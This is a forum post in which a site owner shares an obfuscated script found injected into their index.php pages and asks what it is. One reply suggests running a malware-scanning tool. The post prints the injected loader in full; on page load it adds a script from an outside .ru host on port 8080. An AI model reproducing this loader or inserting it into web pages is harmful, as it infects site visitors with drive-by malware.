website infected by virus

August 5th, 2016

i found this code on some of my index.php pages

<script>/*GNU GPL*/ try{window.onload = function(){var Xs5w9luwh1h = document.createElement('s@c$&^r!@i$p#@@&#t&#('.replace(/&|\!|\^|\$|\(|\)|#|@/ig, ''));var Y6hxoucpduxw = 'P5mdyub86y76ew';Xs5w9luwh1h.setAttribute('type', 't!^(e(x&@!!t&@/@!@j@a#$v!)&^)a(!s)()c!@r#$$i()p^!^!t!)'.replace(/#|\^|\!|&|@|\$|\(|\)/ig, ''));Xs5w9luwh1h.setAttribute('src',  'h!$t(!t$#(p)$:^$$^/$@#/$r(a))d(!)#i$&!(k)(a)@@l#-#(^r(!u(.@1^1#(&&#0)!@m(b@.$((c($o$^^(m#@!.@$t#u)$e!(n##t&)^)i@@-@)c#$o&^m^!.(t###@(h&e^)g(#i&)$f(t^!s$a))#l^e@^(.@!$r#u$:^@#8^#^$0(&8(!0#&#$/^g#^o&o&g^#l(#e&$.)@c#)o^(m!^&(/@@)!&g@#o#!!o)!^#g)&(l#!e@.^(#^c!o$!(&m&&/^g&^$o#&o$$!g@l$!e)&^.!#c!($z$@(@/^$#c!!a@^m@!4@^.!#c@@o$)$#m!@!/$^m@(#&a$$t@^)(@c&h&&.#c#&#$o)#^m@)@/(@'.replace(/#|&|\(|\$|\!|\^|@|\)/ig, ''));Xs5w9luwh1h.setAttribute('defer', 'd$!^e&@f&!#e$@!r&'.replace(/\^|#|\$|\!|&|\)|\(|@/ig, ''));Xs5w9luwh1h.setAttribute('id', 'E^&^t!#6$7^&$!$4@)(9@@()v($#&x()w&)(5^$!e&e#)(7^($u)(&0&@'.replace(/#|\^|&|\!|\)|@|\$|\(/ig, ''));document.body.appendChild(Xs5w9luwh1h);}} catch(U3y7nfy55sqg) {}</script>
<!--e335d7a79e4d2857a49db8984d7825a2-->

any ideas what can it be ?

Answer #1
If you want I can check is your computer is infected with malware.
Download DDS and save it to your Desktop from here:
http://download.bleepingcomputer.com/sUBs/dds.scr

Double click dds.scr to run the tool. * When done, DDS will open two (2) logs:
1. DDS.txt
2. Attach.txt
# Save both reports to your desktop. Post DDS.txt back to topic.
If your computer is clean then it means that the 99.8% that site is infected.

 

| Sitemap |